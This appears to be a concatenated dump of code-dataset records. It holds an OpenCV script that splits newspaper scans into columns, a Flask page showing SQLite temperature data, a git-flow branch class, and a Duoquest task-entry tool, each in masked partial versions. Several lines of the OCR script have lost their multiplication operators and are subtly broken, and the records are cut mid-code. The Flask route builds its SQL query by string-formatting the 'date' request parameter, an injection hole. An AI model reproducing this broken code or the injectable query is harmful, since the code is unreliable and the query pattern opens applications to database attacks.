dilateDirection(temp_img)\n sums = np.sum(temp_img, axis=COLUMNS)\n sums[0] = 1000\n sums = sums * -4\n peaks, _ = find_peaks(sums, distance=600)\n sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks)))\n sorted_sums = sorted(sum_to_index.keys())\n \"\"\"\n qr = Q_test(sorted_sums)\n if qr:\n peaks = peaks[peaks != sum_to_index[sorted_sums[0]]]\n \"\"\"\n print('PeakNum, Sum, QRemove for ' + basename)\n for x in peaks:\n print(str(x) + ', ' + str(sums[x]))\n print('----------')\n if peaks.size == 0:\n with open('troublesomeImages.txt', 'a') as f:\n print(\n 'ERROR: something went wrong with finding the peaks for image: '\n , os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg 0\\n')\n return files\n peaks[0] = 0\n peaks[-1] = sums.size - 1\n boxed = np.copy(img)\n if peaks.size < 6:\n with open('troublesomeImages.txt', 'a') as f:\n print('found image that is causing problems: ', os.path.join(\n directory, basename))\n f.write(os.path.join(directory, basename) + '.jpg ' + str(peaks\n .size) + '\\n')\n columnIndexPairs = columnIndexes(peaks)\n ystart = 0\n yend = img.shape[0]\n for columnIndexPair in columnIndexPairs:\n xstart = max(columnIndexPair[0] - PADDING, 0)\n xend = min(columnIndexPair[1] + PADDING, img.shape[1])\n if not os.path.exists(directory):\n os.makedirs(directory)\n filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (\n basename, xstart, xend))\n files.append(filepath)\n crop_img = img[ystart:yend, xstart:xend]\n print('writing out cropped image: ', filepath)\n if not cv2.imwrite(filepath, crop_img):\n print('failed')\n if CREATE_COLUMN_OUTLINE_IMAGES:\n cv2.rectangle(boxed, (xstart, ystart), (xend, yend), GREEN,\n LINE_THICKNESS)\n if CREATE_COLUMN_OUTLINE_IMAGES:\n filepath = os.path.join(directory, '%s-contours.jpeg' % basename)\n cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50])\n return files\n\n\ndef invert_experiment():\n test_img = cv2.imread(\n './ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg')\n for thresh in range(1, 200, 20):\n print('writing thresh= ' + str(thresh))\n _, temp_img = cv2.threshold(test_img, thresh, 255, cv2.\n THRESH_BINARY_INV)\n cv2.imwrite('./ocr/test_images/thresh=' + str(thresh) + '.jpg',\n temp_img)\n\n\ndef test(img, basename):\n test_img = convertToGrayscale(img)\n test_img = invert(test_img)\n test_img = dilateDirection(test_img)\n cv2.imwrite('./ocr/test_images/contours/' + basename + 'dilated.jpg',\n test_img)\n \"\"\"\n for r in range(0, 40, 5):\n name = 'rank=' + str(r) + \".jpg\"\n path = './ocr/test_images/' + name\n\n new_img = ndimage.rank_filter(test_img, rank=r, size=20)\n print(\"writing \" + name)\n cv2.imwrite(path, new_img)\n \"\"\"\n\n\nif __name__ == '__main__':\n print('STARTING')\n for f in os.listdir('./ocr/data/gb19gw39h/'):\n if f.endswith('.jpg'):\n createColumnImages(cv2.imread(os.path.join(\n './ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0],\n './ocr/columns/gb19gw39h/')\n for f in os.listdir('./ocr/data/8k71pf94q/'):\n if f.endswith('.jpg'):\n createColumnImages(cv2.imread(os.path.join(\n './ocr/data/8k71pf94q/', f)), '8k71pf94q-' + f[0],\n './ocr/columns/8k71pf94q/')\n for f in os.listdir('./ocr/data/mc87rq85m/'):\n if f.endswith('.jpg'):\n createColumnImages(cv2.imread(os.path.join(\n './ocr/data/mc87rq85m/', f)), 'mc87rq85m-' + f[0],\n './ocr/columns/mc87rq85m/')\n \"\"\"\n data_folder = './ocr/data/'\n for folder in os.listdir(data_folder):\n if folder == \".DS_Store\":\n continue\n for file in os.listdir(os.path.join(data_folder, folder)):\n if file.endswith(\".jpg\"):\n print(\"calling test() on \" + file)\n #test(cv2.imread(os.path.join(data_folder, folder, file)),folder+'-'+file[0])\n createColumnImages(cv2.imread(os.path.join(data_folder, folder, file)), folder+'-'+file[0], './ocr/columns/'+folder+'/')\n \n for f in os.listdir('./ocr/data/8k71pr786/'):\n if f.endswith(\".jpg\"):\n for d in range(550, 850, 50):\n createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pr786/', f)), '8k71pr786-'+f[0]+'-d=' + str(d), './ocr/test_images/test_contour/8k71pr786/', d)\n #createColumnImages(cv2.imread('./ocr/data/8k71pr786/'), 'tester2', './ocr/data/columns/tester/')\n \"\"\"\n", "step-5": "\n# https://github.com/jscancella/NYTribuneOCRExperiments/blob/master/findText_usingSums.py\nimport os\nimport io\nfrom pathlib import Path\nimport sys\nos.environ['OPENCV_IO_ENABLE_JASPER']='True' # has to be set before importing cv2 otherwise it won't read the variable\nimport numpy as np\nimport cv2\n\nimport subprocess\nfrom multiprocessing import Pool\nfrom scipy.signal import find_peaks, find_peaks_cwt\n\nimport scipy.ndimage as ndimage\nfrom IPython.display import Image as KImage\n\n#custom kernel that is used to blend together text in the Y axis\nDILATE_KERNEL = np.array([\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0, 0]], dtype=np.uint8)\n\n\n# Run adaptative thresholding (is slow af compared to not using it in pipeline)\ndef adaptative_thresholding(img, threshold):\n # Load image\n I = img\n # Convert image to grayscale\n gray = cv2.cvtColor(I, cv2.COLOR_BGR2GRAY)\n # Original image size\n orignrows, origncols = gray.shape\n # Windows size\n M = int(np.floor(orignrows/16) + 1)\n N = int(np.floor(origncols/16) + 1)\n # Image border padding related to windows size\n Mextend = round(M/2)-1\n Nextend = round(N/2)-1\n # Padding image\n aux =cv2.copyMakeBorder(gray, top=Mextend, bottom=Mextend, left=Nextend,\n right=Nextend, borderType=cv2.BORDER_REFLECT)\n windows = np.zeros((M,N),np.int32)\n # Image integral calculation\n imageIntegral = cv2.integral(aux, windows,-1)\n # Integral image size\n nrows, ncols = imageIntegral.shape\n # Memory allocation for cumulative region image\n result = np.zeros((orignrows, origncols))\n # Image cumulative pixels in windows size calculation\n for i in range(nrows-M):\n for j in range(ncols-N):\n result[i, j] = imageIntegral[i+M, j+N] - imageIntegral[i, j+N]+ imageIntegral[i, j] - imageIntegral[i+M,j]\n\n # Output binary image memory allocation\n binar = np.ones((orignrows, origncols), dtype=np.bool)\n # Gray image weighted by windows size\n graymult = (gray).astype('float64')MN\n # Output image binarization\n binar[graymult <= result(100.0 - threshold)/100.0] = False\n # binary image to UINT8 conversion\n binar = (255binar).astype(np.uint8)\n\n return binar\n\ndef Q_test(sorted_data):\n conf95_level = {3: .97, 4: .829, 5: .71, 6: .625, 7: .568, 8: .526, 9: .493}\n q_exp = abs(sorted_data[1] - sorted_data[0]) / abs(sorted_data[-1] - sorted_data[0])\n print(str(abs(sorted_data[1] - sorted_data[0])) + ' / ' + str(abs(sorted_data[-1] - sorted_data[0])))\n print(\"q_exp : \" + str(q_exp))\n return q_exp > conf95_level[min(9, len(sorted_data))]\n\n\n# static variables for clarity\nCOLUMNS = 0\nGREEN = (0, 255, 0)\n\n# parameters that can be tweaked\nLINE_THICKNESS = 3 # how thick to make the line around the found contours in the debug output\nPADDING = 10 # padding to add around the found possible column to help account for image skew and such\nCREATE_COLUMN_OUTLINE_IMAGES = True # if we detect that we didn't find all the columns. Create a debug image (tiff) showing the columns that were found\n\ndef columnIndexes(a):\n \"\"\"\n creates pair of indexes for left and right index of the image column\n For example [13, 1257, 2474, 3695, 4907, 6149]\n becomes: [[13 1257], [1257 2474], [2474 3695], [3695 4907], [4907 6149]]\n \"\"\"\n nrows = (a.size-2)+1\n return a[1np.arange(nrows)[:,None] + np.arange(2)]\n\ndef convertToGrayscale(img):\n temp_img = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n return temp_img\n\ndef invert(img):\n \"\"\" Black -> White \| White -> Black \"\"\"\n print(\"invert image\")\n # Should we edit these parameters?\n #3/18/21 - experimented on threshold, 140 is good.\n _,temp_img = cv2.threshold(img, 140, 255, cv2.THRESH_BINARY_INV)\n return temp_img\n\ndef dilateDirection(img, debug=False):\n \"\"\"\n It is just opposite of erosion. Here, a pixel element is '1' if atleast one pixel under the kernel is '1'. \n So it increases the white region in the image or size of foreground object increases. \n Normally, in cases like noise removal, erosion is followed by dilation. \n Because, erosion removes white noises, but it also shrinks our object. \n So we dilate it. Since noise is gone, they won't come back, but our object area increases. \n It is also useful in joining broken parts of an object. \n \"\"\"\n print(\"applying dilation morph\")\n temp_img = cv2.dilate(img, DILATE_KERNEL, iterations=15) #the more iterations the more the text gets stretched in the Y axis, 15 seems about right.\n '''\n if debug:\n filepath = os.path.join(debugOutputDirectory, '%s-dilation.tiff' % basename)\n cv2.imwrite(filepath, temp_img)\n '''\n return temp_img\n\ndef createColumnImages(img, basename, directory):\n \"\"\"\n we sum each column of the inverted image. The columns should show up as peaks in the sums\n uses scipy.signal.find_peaks to find those peaks and use them as column indexes\n \"\"\"\n files = []\n temp_img = convertToGrayscale(img)\n temp_img = invert(temp_img)\n temp_img = dilateDirection(temp_img)\n \n sums = np.sum(temp_img, axis = COLUMNS)\n \n sums[0] = 1000 # some random value so that find_peaks properly detects the peak for the left most column\n sums = sums -4 # invert so that minimums become maximums and exagerate the data so it is more clear what the peaks are \n peaks, _ = find_peaks(sums, distance=600) # the column indexs of the img array, spaced at least 800 away from the previous peak\n\n sum_to_index = dict((sums[peaks[i]], peaks[i]) for i in range(len(peaks)))\n sorted_sums = sorted(sum_to_index.keys())\n '''\n qr = Q_test(sorted_sums)\n if qr:\n peaks = peaks[peaks != sum_to_index[sorted_sums[0]]]\n '''\n print(\"PeakNum, Sum, QRemove for \" + basename)\n for x in peaks:\n print(str(x) + ', ' + str(sums[x]))\n print(\"----------\")\n\n if peaks.size == 0:\n with open('troublesomeImages.txt', 'a') as f:\n print(\"ERROR: something went wrong with finding the peaks for image: \", os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + \".jpg 0\\n\")\n return files\n\n peaks[0] = 0 # automatically make the left most column index the start of the image\n peaks[-1] =sums.size -1 # automatically make the right most column index the end of the image\n\n boxed = np.copy(img)\n if peaks.size < 6:\n with open('troublesomeImages.txt', 'a') as f:\n print(\"found image that is causing problems: \", os.path.join(directory, basename))\n f.write(os.path.join(directory, basename) + \".jpg \" + str(peaks.size) + \"\\n\")\n\n columnIndexPairs = columnIndexes(peaks)\n\n ystart = 0\n yend = img.shape[0]\n for columnIndexPair in columnIndexPairs:\n xstart = max(columnIndexPair[0]-PADDING, 0)\n xend = min(columnIndexPair[1]+PADDING, img.shape[1])\n if not os.path.exists(directory):\n os.makedirs(directory)\n filepath = os.path.join(directory, '%s_xStart%s_xEnd%s.jpg' % (basename, xstart,xend))\n files.append(filepath)\n crop_img = img[ystart:yend, xstart:xend]\n \n print(\"writing out cropped image: \", filepath)\n # Apply adaptative thresholding to the image with a threshold of 25/100\n #crop_img = adaptative_thresholding(crop_img, 25)\n if not cv2.imwrite(filepath, crop_img):\n print('failed')\n\n if CREATE_COLUMN_OUTLINE_IMAGES:\n cv2.rectangle(boxed,(xstart,ystart),(xend,yend), GREEN, LINE_THICKNESS)\n\n if CREATE_COLUMN_OUTLINE_IMAGES:\n filepath = os.path.join(directory, '%s-contours.jpeg' % basename)\n cv2.imwrite(filepath, boxed, [cv2.IMWRITE_JPEG_QUALITY, 50])\n # For removing the old image?\n # os.remove(os.path.join(directory, basename + \".jp2\"))\n\n return files\n\ndef invert_experiment():\n test_img = cv2.imread('./ocr/data/8k71pf94q/1_commonwealth_8k71pf94q_accessFull.jpg')\n for thresh in range(1, 200, 20):\n print('writing thresh= ' + str(thresh))\n _,temp_img = cv2.threshold(test_img, thresh, 255, cv2.THRESH_BINARY_INV)\n cv2.imwrite('./ocr/test_images/thresh='+str(thresh)+'.jpg', temp_img)\n\n\n\ndef test(img, basename):\n #h, w, _ = img.shape\n #test_img = cv2.imread('./ocr/data/8k71pf94q/2_commonwealth_8k71pf94q_accessFull.jpg')\n test_img = convertToGrayscale(img)\n #ret,test_img = cv2.threshold(test_img,25,255,0)\n #cv2.imwrite('./ocr/test_images/contours/'+basename+'prepixelcrop.jpg', test_img)\n #test_img = test_img[10:h-10, 10: w-10]\n #y_nonzero, x_nonzero = np.nonzero(test_img)\n #test_img = test_img[np.min(y_nonzero):np.max(y_nonzero), np.min(x_nonzero):np.max(x_nonzero)]\n test_img = invert(test_img)\n test_img = dilateDirection(test_img)\n\n #contours,hierarchy = cv2.findContours(test_img,cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\n #cnt = contours[0]\n #x,y,w,h = cv2.boundingRect(cnt)\n #test_img = cv2.rectangle(img,(10,10),(w-10, h-10), GREEN, LINE_THICKNESS)\n #test_img = cv2.drawContours(test_img, contours, -1, GREEN, LINE_THICKNESS)\n #crop = test_img[y:y+h,x:x+w]\n cv2.imwrite('./ocr/test_images/contours/'+basename+'dilated.jpg', test_img)\n '''\n for r in range(0, 40, 5):\n name = 'rank=' + str(r) + \".jpg\"\n path = './ocr/test_images/' + name\n\n new_img = ndimage.rank_filter(test_img, rank=r, size=20)\n print(\"writing \" + name)\n cv2.imwrite(path, new_img)\n '''\n #cv2.imwrite('./ocr/test_images/inverted.jpg', test_img)\n\n \n\n\nif __name__ == \"__main__\":\n print(\"STARTING\")\n for f in os.listdir('./ocr/data/gb19gw39h/'):\n if f.endswith(\".jpg\"):\n #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0])\n createColumnImages(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0], './ocr/columns/gb19gw39h/')\n\n for f in os.listdir('./ocr/data/8k71pf94q/'):\n if f.endswith(\".jpg\"):\n #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0])\n createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pf94q/', f)), '8k71pf94q-' + f[0], './ocr/columns/8k71pf94q/')\n\n for f in os.listdir('./ocr/data/mc87rq85m/'):\n if f.endswith(\".jpg\"):\n #test(cv2.imread(os.path.join('./ocr/data/gb19gw39h/', f)), 'gb19gw39h-' + f[0])\n createColumnImages(cv2.imread(os.path.join('./ocr/data/mc87rq85m/', f)), 'mc87rq85m-' + f[0], './ocr/columns/mc87rq85m/')\n\n '''\n data_folder = './ocr/data/'\n for folder in os.listdir(data_folder):\n if folder == \".DS_Store\":\n continue\n for file in os.listdir(os.path.join(data_folder, folder)):\n if file.endswith(\".jpg\"):\n print(\"calling test() on \" + file)\n #test(cv2.imread(os.path.join(data_folder, folder, file)),folder+'-'+file[0])\n createColumnImages(cv2.imread(os.path.join(data_folder, folder, file)), folder+'-'+file[0], './ocr/columns/'+folder+'/')\n \n for f in os.listdir('./ocr/data/8k71pr786/'):\n if f.endswith(\".jpg\"):\n for d in range(550, 850, 50):\n createColumnImages(cv2.imread(os.path.join('./ocr/data/8k71pr786/', f)), '8k71pr786-'+f[0]+'-d=' + str(d), './ocr/test_images/test_contour/8k71pr786/', d)\n #createColumnImages(cv2.imread('./ocr/data/8k71pr786/'), 'tester2', './ocr/data/columns/tester/')\n '''\n\n", "step-ids": [ 6, 7, 8, 11, 13 ] }	[ 6, 7, 8, 11, 13 ]
from flask import Flask, request from flask import render_template import sqlite3 import datetime app = Flask(__name__) @app.route('/') def index(date = ""): date = request.args.get('date') if not date: now = datetime.datetime.now() date = "%02d.%02d.%04d" % (now.day, now.month, now.year) conn = sqlite3.connect("data.db") c = conn.cursor() res = c.execute("SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data " "WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' " "GROUP BY STRFTIME('%%H', date) " % (date, )) hour = list() temp = list() hum = list() for row in res: hour.append(row[0]) temp.append("%.1f" % row[1]) hum.append("%.1f" % row[2]) return render_template('index.html', date = date, hour = hour, temp = temp, hum = hum) if __name__ == '__main__': app.debug = True app.run(host = "127.0.0.1", port = 8888)	normal	{ "blob_id": "f6fe33e04ccdca1d9714caec412478d0cfc8b363", "index": 5559, "step-1": "<mask token>\n\n\n@app.route('/')\ndef index(date=''):\n date = request.args.get('date')\n if not date:\n now = datetime.datetime.now()\n date = '%02d.%02d.%04d' % (now.day, now.month, now.year)\n conn = sqlite3.connect('data.db')\n c = conn.cursor()\n res = c.execute(\n \"SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' GROUP BY STRFTIME('%%H', date) \"\n % (date,))\n hour = list()\n temp = list()\n hum = list()\n for row in res:\n hour.append(row[0])\n temp.append('%.1f' % row[1])\n hum.append('%.1f' % row[2])\n return render_template('index.html', date=date, hour=hour, temp=temp,\n hum=hum)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\n@app.route('/')\ndef index(date=''):\n date = request.args.get('date')\n if not date:\n now = datetime.datetime.now()\n date = '%02d.%02d.%04d' % (now.day, now.month, now.year)\n conn = sqlite3.connect('data.db')\n c = conn.cursor()\n res = c.execute(\n \"SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' GROUP BY STRFTIME('%%H', date) \"\n % (date,))\n hour = list()\n temp = list()\n hum = list()\n for row in res:\n hour.append(row[0])\n temp.append('%.1f' % row[1])\n hum.append('%.1f' % row[2])\n return render_template('index.html', date=date, hour=hour, temp=temp,\n hum=hum)\n\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='127.0.0.1', port=8888)\n", "step-3": "<mask token>\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index(date=''):\n date = request.args.get('date')\n if not date:\n now = datetime.datetime.now()\n date = '%02d.%02d.%04d' % (now.day, now.month, now.year)\n conn = sqlite3.connect('data.db')\n c = conn.cursor()\n res = c.execute(\n \"SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' GROUP BY STRFTIME('%%H', date) \"\n % (date,))\n hour = list()\n temp = list()\n hum = list()\n for row in res:\n hour.append(row[0])\n temp.append('%.1f' % row[1])\n hum.append('%.1f' % row[2])\n return render_template('index.html', date=date, hour=hour, temp=temp,\n hum=hum)\n\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='127.0.0.1', port=8888)\n", "step-4": "from flask import Flask, request\nfrom flask import render_template\nimport sqlite3\nimport datetime\napp = Flask(__name__)\n\n\n@app.route('/')\ndef index(date=''):\n date = request.args.get('date')\n if not date:\n now = datetime.datetime.now()\n date = '%02d.%02d.%04d' % (now.day, now.month, now.year)\n conn = sqlite3.connect('data.db')\n c = conn.cursor()\n res = c.execute(\n \"SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' GROUP BY STRFTIME('%%H', date) \"\n % (date,))\n hour = list()\n temp = list()\n hum = list()\n for row in res:\n hour.append(row[0])\n temp.append('%.1f' % row[1])\n hum.append('%.1f' % row[2])\n return render_template('index.html', date=date, hour=hour, temp=temp,\n hum=hum)\n\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='127.0.0.1', port=8888)\n", "step-5": "from flask import Flask, request\n\nfrom flask import render_template\nimport sqlite3\nimport datetime\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index(date = \"\"):\n date = request.args.get('date')\n\n if not date:\n now = datetime.datetime.now()\n date = \"%02d.%02d.%04d\" % (now.day, now.month, now.year)\n\n conn = sqlite3.connect(\"data.db\")\n c = conn.cursor()\n res = c.execute(\"SELECT STRFTIME('%%H', date), AVG(temp), AVG(hum) FROM data \"\n \"WHERE STRFTIME('%%d.%%m.%%Y', date)='%s' \"\n \"GROUP BY STRFTIME('%%H', date) \" % (date, ))\n hour = list()\n temp = list()\n hum = list()\n for row in res:\n hour.append(row[0])\n temp.append(\"%.1f\" % row[1])\n hum.append(\"%.1f\" % row[2])\n\n return render_template('index.html', date = date, hour = hour, temp = temp, hum = hum)\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host = \"127.0.0.1\", port = 8888)\n", "step-ids": [ 1, 2, 3, 4, 5 ] }	[ 1, 2, 3, 4, 5 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class Develop(Branch): <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> class Develop(Branch): def process(self): if self.action is Actions.INIT: self.start_message('Develop Init') Init(self.state_handler, self.config_handler).process() else: raise NotImplementedError <\|reserved_special_token_1\|> from __future__ import annotations from VersionControl.Branch import Branch from Branches.Actions.Actions import Actions from VersionControl.Git.Branches.Develop.Init import Init class Develop(Branch): def process(self): if self.action is Actions.INIT: self.start_message('Develop Init') Init(self.state_handler, self.config_handler).process() else: raise NotImplementedError	flexible	{ "blob_id": "338bf2406c233d857e1a688391161d58e1dab23c", "index": 8910, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Develop(Branch):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Develop(Branch):\n\n def process(self):\n if self.action is Actions.INIT:\n self.start_message('Develop Init')\n Init(self.state_handler, self.config_handler).process()\n else:\n raise NotImplementedError\n", "step-4": "from __future__ import annotations\nfrom VersionControl.Branch import Branch\nfrom Branches.Actions.Actions import Actions\nfrom VersionControl.Git.Branches.Develop.Init import Init\n\n\nclass Develop(Branch):\n\n def process(self):\n if self.action is Actions.INIT:\n self.start_message('Develop Init')\n Init(self.state_handler, self.config_handler).process()\n else:\n raise NotImplementedError\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
<\|reserved_special_token_0\|> def input_db_name(conn): while True: db_name = input('Database name (default: concert_singer) > ') if not db_name: db_name = 'concert_singer' cur = conn.cursor() cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,)) if cur.fetchone(): break else: print(f'<{db_name}> is not a valid database.') return db_name def input_nlq(): nlq = input('NLQ (default: How many singers are there?)> ') if not nlq: nlq = 'How many singers are there?' return nlq def input_num_cols(): while True: num_cols = input('Number of columns > ') try: num_cols = int(num_cols) break except Exception as e: print('Number of columns should be integer!') return num_cols <\|reserved_special_token_0\|> def input_limit(): limit = None while True: limit_input = input('Limit results to n tuples? (int or blank) > ') if not limit_input: break try: limit = int(limit_input) break except Exception as e: print('int or blank only!') return limit def input_tsq_types(num_cols): while True: types_input = input('Types (`text` or `number`, comma separated)> ') types = list(map(lambda x: x.strip(), types_input.split(','))) if any(map(lambda x: x not in ('text', 'number'), types)): print('Types must be `text` or `number`') continue if len(types) != num_cols: print('Number of types must match number of columns.') continue break return types def input_tsq_row_count(): tsq_row_count = 0 while True: tsq_row_count_input = input('Number of TSQ rows (int) > ') try: tsq_row_count = int(tsq_row_count_input) break except Exception as e: print('int only!') return tsq_row_count <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def input_db_name(conn): while True: db_name = input('Database name (default: concert_singer) > ') if not db_name: db_name = 'concert_singer' cur = conn.cursor() cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,)) if cur.fetchone(): break else: print(f'<{db_name}> is not a valid database.') return db_name def input_nlq(): nlq = input('NLQ (default: How many singers are there?)> ') if not nlq: nlq = 'How many singers are there?' return nlq def input_num_cols(): while True: num_cols = input('Number of columns > ') try: num_cols = int(num_cols) break except Exception as e: print('Number of columns should be integer!') return num_cols <\|reserved_special_token_0\|> def input_limit(): limit = None while True: limit_input = input('Limit results to n tuples? (int or blank) > ') if not limit_input: break try: limit = int(limit_input) break except Exception as e: print('int or blank only!') return limit def input_tsq_types(num_cols): while True: types_input = input('Types (`text` or `number`, comma separated)> ') types = list(map(lambda x: x.strip(), types_input.split(','))) if any(map(lambda x: x not in ('text', 'number'), types)): print('Types must be `text` or `number`') continue if len(types) != num_cols: print('Number of types must match number of columns.') continue break return types def input_tsq_row_count(): tsq_row_count = 0 while True: tsq_row_count_input = input('Number of TSQ rows (int) > ') try: tsq_row_count = int(tsq_row_count_input) break except Exception as e: print('int only!') return tsq_row_count def input_tsq_row(row_num, tsq_types): while True: row_input = input(f'Row {row_num} (semicolon-separated values) > ') tsq_row = list(map(lambda x: x.strip(), row_input.split(';'))) validated = True for i, cell in enumerate(tsq_row): if tsq_types[i] == 'number': try: float(cell) except Exception as e: print('At least one cell value is invalid.') validated = False break if validated: break return tsq_row <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> <\|reserved_special_token_0\|> def input_db_name(conn): while True: db_name = input('Database name (default: concert_singer) > ') if not db_name: db_name = 'concert_singer' cur = conn.cursor() cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,)) if cur.fetchone(): break else: print(f'<{db_name}> is not a valid database.') return db_name def input_nlq(): nlq = input('NLQ (default: How many singers are there?)> ') if not nlq: nlq = 'How many singers are there?' return nlq def input_num_cols(): while True: num_cols = input('Number of columns > ') try: num_cols = int(num_cols) break except Exception as e: print('Number of columns should be integer!') return num_cols def input_order(): ordered = False while True: order_input = input('Should results be ordered? (y/n) > ') if order_input == 'y': ordered = True break elif order_input == 'n': break else: print('y/n only!') return ordered def input_limit(): limit = None while True: limit_input = input('Limit results to n tuples? (int or blank) > ') if not limit_input: break try: limit = int(limit_input) break except Exception as e: print('int or blank only!') return limit def input_tsq_types(num_cols): while True: types_input = input('Types (`text` or `number`, comma separated)> ') types = list(map(lambda x: x.strip(), types_input.split(','))) if any(map(lambda x: x not in ('text', 'number'), types)): print('Types must be `text` or `number`') continue if len(types) != num_cols: print('Number of types must match number of columns.') continue break return types def input_tsq_row_count(): tsq_row_count = 0 while True: tsq_row_count_input = input('Number of TSQ rows (int) > ') try: tsq_row_count = int(tsq_row_count_input) break except Exception as e: print('int only!') return tsq_row_count def input_tsq_row(row_num, tsq_types): while True: row_input = input(f'Row {row_num} (semicolon-separated values) > ') tsq_row = list(map(lambda x: x.strip(), row_input.split(';'))) validated = True for i, cell in enumerate(tsq_row): if tsq_types[i] == 'number': try: float(cell) except Exception as e: print('At least one cell value is invalid.') validated = False break if validated: break return tsq_row <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> import configparser import sqlite3 import time import uuid from duoquest.tsq import TableSketchQuery def input_db_name(conn): while True: db_name = input('Database name (default: concert_singer) > ') if not db_name: db_name = 'concert_singer' cur = conn.cursor() cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,)) if cur.fetchone(): break else: print(f'<{db_name}> is not a valid database.') return db_name def input_nlq(): nlq = input('NLQ (default: How many singers are there?)> ') if not nlq: nlq = 'How many singers are there?' return nlq def input_num_cols(): while True: num_cols = input('Number of columns > ') try: num_cols = int(num_cols) break except Exception as e: print('Number of columns should be integer!') return num_cols def input_order(): ordered = False while True: order_input = input('Should results be ordered? (y/n) > ') if order_input == 'y': ordered = True break elif order_input == 'n': break else: print('y/n only!') return ordered def input_limit(): limit = None while True: limit_input = input('Limit results to n tuples? (int or blank) > ') if not limit_input: break try: limit = int(limit_input) break except Exception as e: print('int or blank only!') return limit def input_tsq_types(num_cols): while True: types_input = input('Types (`text` or `number`, comma separated)> ') types = list(map(lambda x: x.strip(), types_input.split(','))) if any(map(lambda x: x not in ('text', 'number'), types)): print('Types must be `text` or `number`') continue if len(types) != num_cols: print('Number of types must match number of columns.') continue break return types def input_tsq_row_count(): tsq_row_count = 0 while True: tsq_row_count_input = input('Number of TSQ rows (int) > ') try: tsq_row_count = int(tsq_row_count_input) break except Exception as e: print('int only!') return tsq_row_count def input_tsq_row(row_num, tsq_types): while True: row_input = input(f'Row {row_num} (semicolon-separated values) > ') tsq_row = list(map(lambda x: x.strip(), row_input.split(';'))) validated = True for i, cell in enumerate(tsq_row): if tsq_types[i] == 'number': try: float(cell) except Exception as e: print('At least one cell value is invalid.') validated = False break if validated: break return tsq_row def main(): config = configparser.ConfigParser() config.read('config.ini') db_path = config['db']['path'] conn = sqlite3.connect(db_path) db_name = input_db_name(conn) nlq = input_nlq() num_cols = input_num_cols() tsq = TableSketchQuery(num_cols) tsq.types = input_tsq_types(num_cols) tsq_row_count = input_tsq_row_count() for i in range(tsq_row_count): tsq.values.append(input_tsq_row(i + 1, tsq.types)) tsq.order = input_order() tsq.limit = input_limit() print(tsq.to_proto()) cur = conn.cursor() cur.execute( """INSERT INTO tasks (tid, db, nlq, tsq_proto, status, time) VALUES (?, ?, ?, ?, ?, ?)""" , (str(uuid.uuid4()), db_name, nlq, tsq.to_proto(). SerializeToString(), 'waiting', int(time.time()))) conn.commit() conn.close() if __name__ == '__main__': main() <\|reserved_special_token_1\|> import configparser import sqlite3 import time import uuid from duoquest.tsq import TableSketchQuery def input_db_name(conn): while True: db_name = input('Database name (default: concert_singer) > ') if not db_name: db_name = 'concert_singer' cur = conn.cursor() cur.execute('SELECT 1 FROM databases WHERE name = ?', (db_name,)) if cur.fetchone(): break else: print(f'<{db_name}> is not a valid database.') return db_name def input_nlq(): nlq = input('NLQ (default: How many singers are there?)> ') if not nlq: nlq = 'How many singers are there?' return nlq def input_num_cols(): while True: num_cols = input('Number of columns > ') try: num_cols = int(num_cols) break except Exception as e: print('Number of columns should be integer!') return num_cols def input_order(): ordered = False while True: order_input = input('Should results be ordered? (y/n) > ') if order_input == 'y': ordered = True break elif order_input == 'n': break else: 